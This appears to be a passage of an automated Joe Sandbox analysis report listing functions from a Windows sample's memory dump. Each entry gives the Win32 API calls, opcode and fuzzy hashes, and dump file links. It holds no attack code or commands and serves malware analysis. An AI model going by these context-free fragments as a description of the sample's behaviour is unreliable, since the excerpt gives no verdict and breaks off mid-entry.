TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00817711,?,?,?,?,?), ref: 00859016
GetCursorPos.USER32(?), ref: 0085905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00817711,?,?,?), ref: 00859094

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: e14fd1bd24b8d8e3f5b4b5ebae8a5a7e80222a81d2d1d94d0521e65e5371bce3
Instruction ID: c69c3879374902e2e466c2d9886451ff89435fbb8b47fa7ac6ced40be3fa3961
Opcode Fuzzy Hash: e14fd1bd24b8d8e3f5b4b5ebae8a5a7e80222a81d2d1d94d0521e65e5371bce3
Instruction Fuzzy Hash: 0221BF31600518EFCF268F94CC58EEB7BF9FB89352F044465F945872A1D335A950EB60

Function 0082D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0085CB68), ref: 0082D2FB
GetLastError.KERNEL32 ref: 0082D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0082D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0085CB68), ref: 0082D376

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: b58a0945bb755a47b7df7b65c722a483ef2751fa63662cfb1d9c4e2b472866a4
Instruction ID: a6d9573114525e602ebcbe2a594d8c9e3847fd7d23cea738501b5e990c48854e
Opcode Fuzzy Hash: b58a0945bb755a47b7df7b65c722a483ef2751fa63662cfb1d9c4e2b472866a4
Instruction Fuzzy Hash: 39219F70508311DF8700DF28D8898AABBE4FE56324F504A1DF4A9C33A1E734D98ACB93

Function 00821571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00821014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0082102A
Part of subcall function 00821014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00821036
Part of subcall function 00821014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00821045
Part of subcall function 00821014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0082104C
Part of subcall function 00821014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00821062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 008215BE
_memcmp.LIBVCRUNTIME ref: 008215E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00821617
HeapFree.KERNEL32(00000000), ref: 0082161E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 11bf09595ec9e03b67b6cc3d67939dad841457bc89335d38b2f36455a6e38c4d
Instruction ID: 548ca70d21ef131f97330c38f53191bb6600d5ac9cf41f4a68769964a0992021
Opcode Fuzzy Hash: 11bf09595ec9e03b67b6cc3d67939dad841457bc89335d38b2f36455a6e38c4d
Instruction Fuzzy Hash: D5215771E40218AFDF00DFA4D949BEEB7B8FF64355F284459E441AB241E734AA85CBA0

Function 00852782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0085280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00852824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00852832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00852840

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 58c70192a1b0a72eabb65696714a213e97d4ad5872fbb6ca523a8122115fbdc6
Instruction ID: 135b8702c580bfc6f1af81fd9ca0debe89e4ddeaa441b78b99176e347ebab15a
Opcode Fuzzy Hash: 58c70192a1b0a72eabb65696714a213e97d4ad5872fbb6ca523a8122115fbdc6
Instruction Fuzzy Hash: A621E031204211AFD715DB24C845FAA7B95FF4A326F14825CF826CB2E2CB75EC86CB90

Function 0083CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0083CE89
GetLastError.KERNEL32(?,00000000), ref: 0083CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0083CEFE

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: b535c7682fb65502e2e959284d3cbc0728677a38c14fad6664eeae7ff0868bbd
Instruction ID: 5eba52340d0fc9f931780444160074eef5f12488900a4afcc3e2f90fd306d652
Opcode Fuzzy Hash: b535c7682fb65502e2e959284d3cbc0728677a38c14fad6664eeae7ff0868bbd
Instruction Fuzzy Hash: 42219DB1500705DFD720DF65C948BA677F8FB80759F10481EE546E2151EB74EE058BA4

Function 008278F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00828D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0082790A,?,000000FF,?,00828754,00000000,?,0000001C,?,?), ref: 00828D8C
Part of subcall function 00828D7D: lstrcpyW.KERNEL32(00000000,?,?,0082790A,?,000000FF,?,00828754,00000000,?,0000001C,?,?,00000000), ref: 00828DB2
Part of subcall function 00828D7D: lstrcmpiW.KERNEL32(00000000,?,0082790A,?,000000FF,?,00828754,00000000,?,0000001C,?,?), ref: 00828DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00828754,00000000,?,0000001C,?,?,00000000), ref: 00827923
lstrcpyW.KERNEL32(00000000,?,?,00828754,00000000,?,0000001C,?,?,00000000), ref: 00827949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00828754,00000000,?,0000001C,?,?,00000000), ref: 00827984

Strings

cdecl, xrefs: 0082797B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 06712845053ccbdc5c2727a0d5333ee1be983a2cb250e6db1a5e80280846885e
Instruction ID: 4cc5b1b5e32f759570d65d661da070cf690511eb82e05ad73b72eff9e56fb58e
Opcode Fuzzy Hash: 06712845053ccbdc5c2727a0d5333ee1be983a2cb250e6db1a5e80280846885e
Instruction Fuzzy Hash: 7111E93A200311AFCB155F39E845D7A7BA9FF45354B50402AF946C73A4EB359891C761

Function 00857CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00857D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00857D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00857D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0083B7AD,00000000), ref: 00857D6B

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 29f16de3eb94c9bb900f0b231cf287ea3ce600ce1b4e9cd865cbf041b7f5d40e
Instruction ID: f0f9018e7c997cd12c22e31e2df93de26678e26fd412caddc2f7743dda57f0fa
Opcode Fuzzy Hash: 29f16de3eb94c9bb900f0b231cf287ea3ce600ce1b4e9cd865cbf041b7f5d40e
Instruction Fuzzy Hash: F511C031208615AFCB119F68DC08A663BA5FF45362B158325FC35D72F0E7319D58CB40

Function 00855660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 008556BB
_wcslen.LIBCMT ref: 008556CD
_wcslen.LIBCMT ref: 008556D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00855816

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: e30a79a35be292e8237882c49a82506f22a3ba703430d72d5a24d931fdfb661a
Instruction ID: 80497c34372689ac38e4326afe80b6442c9c87ac5399206bfb02d56bc2cf8b68
Opcode Fuzzy Hash: e30a79a35be292e8237882c49a82506f22a3ba703430d72d5a24d931fdfb661a
Instruction Fuzzy Hash: 78110375600608E6DF209FA1DC95AEE3BBCFF10766B10402AFD15E6081E774DA88CF64

Function 007F1D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194832ff5efd9076562af2ccd368e6a386a4f53a3c9e1d91898e526e4ac907d1
Instruction ID: 29c6ff9fcc1fb595059bcf3d7e687bb26dd0a1592f650bccda71a47bba365e93
Opcode Fuzzy Hash: 194832ff5efd9076562af2ccd368e6a386a4f53a3c9e1d91898e526e4ac907d1
Instruction Fuzzy Hash: FB018BB2319A1EBEF62126786CC4F37662DEF413B8F750329F721A13D2DB689C005660

Function 00821A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00821A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00821A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00821A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00821A8A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 012da72f200f9bf224f970f9dd1878b903616105602654dd20fd819a93dc95a5
Instruction ID: 3ffa6e1ff2079fc697f31343067d5e5f9579d6a7540f9d3ea07929b0e88bffdc
Opcode Fuzzy Hash: 012da72f200f9bf224f970f9dd1878b903616105602654dd20fd819a93dc95a5
Instruction Fuzzy Hash: 4411273A901229FFEF109BA4C985FADBB78FB18750F2000A1EA01B7290D7716E50DB94

Function 0082E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0082E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0082E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0082E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0082E24D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 316a44e6096717b84bf5cc66827918ef1a64143ec1915203cd7204a4afc3a186
Instruction ID: 018cd9a0417559ca4fcb9066f1fe4e6784fbd834559024f2f95850d4f93fd64c
Opcode Fuzzy Hash: 316a44e6096717b84bf5cc66827918ef1a64143ec1915203cd7204a4afc3a186
Instruction Fuzzy Hash: A211C876904369FFCB019FA8AC09A9E7FACFB45311F144256F925E3391D7788D448BA0

Function 007ED1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,007ECFF9,00000000,00000004,00000000), ref: 007ED218
GetLastError.KERNEL32 ref: 007ED224
__dosmaperr.LIBCMT ref: 007ED22B
ResumeThread.KERNEL32(00000000), ref: 007ED249

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: ecb72ffcaba6a0084995e957d87dcbd38a3c3bfdf587210f562755fbe667050c
Instruction ID: 05dfce3369ded3d257633fa17cbe80c208fd1aa6d83d913b8147c74408f35b40
Opcode Fuzzy Hash: ecb72ffcaba6a0084995e957d87dcbd38a3c3bfdf587210f562755fbe667050c
Instruction Fuzzy Hash: C501D636807248BFC7215BA7DC09BAE7A6DFF89731F104219FA25961D0DB798D01C6A1

Function 00859EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

GetClientRect.USER32(?,?), ref: 00859F31
GetCursorPos.USER32(?), ref: 00859F3B
ScreenToClient.USER32(?,?), ref: 00859F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00859F7A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 05d8768b3fceffb0052efa7f61347578bdad4d12f4b9a33e822e1c081bad0ba3
Instruction ID: 02d741674c75b294bcc8406181425a1842afa251f4f59c546544cf0642cdeca8
Opcode Fuzzy Hash: 05d8768b3fceffb0052efa7f61347578bdad4d12f4b9a33e822e1c081bad0ba3
Instruction Fuzzy Hash: 0911183290021AEFDF10EFA9D8899EE77B9FB45312F400455F951E3150DB34BA89CBA1

Function 007C600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 007C604C
GetStockObject.GDI32(00000011), ref: 007C6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 007C606A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 258b484dc80b37fff443c0149232558a5f0dc52f5abd0e21c627a19bd228206c
Instruction ID: bf4baeca850e2db19c7020c8150d29feeee5a47227792aba920921385075aa40
Opcode Fuzzy Hash: 258b484dc80b37fff443c0149232558a5f0dc52f5abd0e21c627a19bd228206c
Instruction Fuzzy Hash: F7115E72501609BFEF125F949C84FEA7BA9FF18755F050119FA1562110D73A9CA09F90

Function 007E3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 007E3B56

Part of subcall function 007E3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 007E3AD2
Part of subcall function 007E3AA3: ___AdjustPointer.LIBCMT ref: 007E3AED

_UnwindNestedFrames.LIBCMT ref: 007E3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 007E3B7C
CallCatchBlock.LIBVCRUNTIME ref: 007E3BA4

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 4b22b94fcf7a57680e310593f851e22bec77f6833764d96f381c090a273ea2aa
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 04012972101189BBDF126E96CC4AEEB3B6EEF8C754F044014FE4896121C73AE961DBA0

Function 007F3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,007C13C6,00000000,00000000,?,007F301A,007C13C6,00000000,00000000,00000000,?,007F328B,00000006,FlsSetValue), ref: 007F30A5
GetLastError.KERNEL32(?,007F301A,007C13C6,00000000,00000000,00000000,?,007F328B,00000006,FlsSetValue,00862290,FlsSetValue,00000000,00000364,?,007F2E46), ref: 007F30B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,007F301A,007C13C6,00000000,00000000,00000000,?,007F328B,00000006,FlsSetValue,00862290,FlsSetValue,00000000), ref: 007F30BF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 759bf9fbc23ee342007876943f9aa64ef946c5ff1bd791a5f275f9fedff6b5ae
Instruction ID: 543377cf383ee4bbef506858192cd46cd8d86d67dcf1b289f34dc980345c7c89
Opcode Fuzzy Hash: 759bf9fbc23ee342007876943f9aa64ef946c5ff1bd791a5f275f9fedff6b5ae
Instruction Fuzzy Hash: 1D01D43230132AAFCB214A799C449777B9AAF05BA1B210721FA06E3340CF29D941CAE0

Function 00827464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0082747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00827497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 008274AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 008274CA

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: f28ae5105384577044e8e08f0e292d5cfa37e63f0e16f7aef19c06d6115554d8
Instruction ID: 73266e8d6abfd8105bf035138071218a265140cfb0f16e048aab876064ed12d0
Opcode Fuzzy Hash: f28ae5105384577044e8e08f0e292d5cfa37e63f0e16f7aef19c06d6115554d8
Instruction Fuzzy Hash: 7811ADB1205325AFE720AF15EC08FA27BFCFB00B04F508569E616D6191D7B4E984DFA5

Function 0082B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

